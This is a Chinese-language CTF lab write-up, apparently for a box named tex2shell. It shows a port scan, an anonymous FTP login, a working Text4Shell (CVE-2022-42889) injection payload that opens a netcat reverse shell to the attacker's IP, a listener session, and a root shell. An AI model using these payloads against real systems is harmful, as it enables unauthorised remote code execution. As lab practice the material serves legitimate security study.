Skip to content
Stack Ashes
Go back

tex2shell

题目描述

难度: 描述: 前置条件:


基本信息

🚀本地机器信息目标机器信息
IP10.17.5.12110.10.216.153
OSkalilinux

信息搜集

端口扫描


PORT     STATE SERVICE    REASON
21/tcp   open  ftp        syn-ack
22/tcp   open  ssh        syn-ack
80/tcp   open  http       syn-ack
8080/tcp open  http-proxy syn-ack

路径枚举

http://10.10.216.153/dev/secret.txt

From Testing Department
Hello developers netcat can't execute commands on server you can use traditional netcat commands

信息发现

└─$ ftp 10.10.216.153
Connected to 10.10.216.153.
220 (vsFTPd 3.0.5)
Name (10.10.216.153:leo): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41942|)
150 Here comes the directory listing.
-rw-r--r--    1 65534    65534          33 Aug 07 17:54 msg.txt
226 Directory send OK.
ftp> get msg.txt
local: msg.txt remote: msg.txt
229 Entering Extended Passive Mode (|||9215|)
150 Opening BINARY mode data connection for msg.txt (33 bytes).
100% |*******************************************************************************************************|    33        7.47 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.11 KiB/s)
ftp> exit
221 Goodbye.

┌──(leo㉿HACK)-[~/SecLab]
└─$ cat msg.txt
Hello Hackers Welcome in pWnbox.

漏洞发现

XSS

漏洞利用

 Java Spring 里面里面的javascript rce?

webshell

payload

Text4shell(CVE-2022-42889)

{script:javascript:java.lang.Runtime.getRuntime().exec('nc.traditional -v $target_IP $target_PORT -e /bin/bash ')

${script:javascript:java.lang.Runtime.getRuntime().exec('nc.traditional 10.17.5.121 4443 -e /bin/bash')}

usershell

└─$ rlwrap nc -lvnp 4443
Listening on 0.0.0.0 4443
Connection received on 10.10.216.153 42288
ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
id
uid=1000(pwnboy) gid=1000(pwnboy) groups=1000(pwnboy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)
python3 -c 'import pty; pty.spawn("/bin/bash")'
pwnboy@pwnbox:/$ ls
ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv       sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  swap.img  tmp  var
pwnboy@pwnbox:/$ whoami
whoami
pwnboy

rootshell

# id
id
uid=0(root) gid=0(root) groups=0(root)

知识点回顾

总结


Share this post on:

Previous Post
dogcat
Next Post
thm-ra-windows域主机的入侵流程